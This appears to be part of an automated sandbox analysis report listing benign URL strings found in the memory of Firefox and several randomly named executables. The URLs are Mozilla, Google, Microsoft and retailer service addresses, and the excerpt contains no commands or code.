Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001D.00000003.2578265767.00000214E7B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 00000023.00000002.2745372993.000002732A312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000023.00000002.2745372993.000002732A386000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: file.exe, 00000000.00000003.1704133167.000000000562E000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2439885304.000000000556E000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2617729782.0000000005B10000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2683738714.0000000005E10000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2706241522.00000000052C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 01b01f6224.exe, 00000025.00000003.2781423588.000000000537F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001D.00000003.2708474311.00000214EC1E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: 01b01f6224.exe, 00000025.00000003.2781423588.000000000537F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1704133167.000000000562C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1704194467.0000000005625000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2440011031.0000000005565000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2439885304.000000000556C000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2617729782.0000000005B0E000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2683738714.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2708330198.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2706241522.00000000052C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1704194467.0000000005600000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2440011031.0000000005540000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2708330198.0000000005294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1704133167.000000000562C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1704194467.0000000005625000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2440011031.0000000005565000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2439885304.000000000556C000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2617729782.0000000005B0E000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2683738714.0000000005E0E000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2708330198.00000000052B9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2706241522.00000000052C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000003.1704194467.0000000005600000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2440011031.0000000005540000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2708330198.0000000005294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: 0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 0bdaf26796.exe, 00000009.00000003.2480450705.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2692072505.0000000005AB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2745093236.0000024B8ADE4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2745372993.000002732A3E9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2800091183.0000000000643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001D.00000003.2695950852.00000214F2190000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2693935077.00000214F21D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1704597486.0000000005617000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2445424972.0000000005528000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2444989095.000000000553F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620063344.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2625293430.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2620450934.0000000005AF9000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2684796731.0000000005DF9000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2712590082.00000000052AB000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711194083.00000000052AD000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2711741305.00000000052AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001D.00000003.2574640774.00000214E9700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2576069170.00000214E857B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575848198.00000214E855D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2574947466.00000214E8520000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.2575400943.00000214E853E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 01b01f6224.exe, 00000025.00000003.2781423588.000000000537F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 01b01f6224.exe, 00000025.00000003.2781423588.000000000537F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000003.1734167866.00000000056F4000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000009.00000003.2479834599.000000000562F000.00000004.00000800.00020000.00000000.sdmp, 0bdaf26796.exe, 00000019.00000003.2690564154.0000000005BD6000.00000004.00000800.00020000.00000000.sdmp, ef2e7274a0.exe, 00000020.00000003.2740608418.0000000005ED5000.00000004.00000800.00020000.00000000.sdmp, 01b01f6224.exe, 00000025.00000003.2781423588.000000000537F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 01b01f6224.exe, 00000025.00000003.2781423588.000000000537F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000023.00000002.2745372993.000002732A3C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001F.00000002.2743307814.0000024B8AB40000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2742424813.000002732A160000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
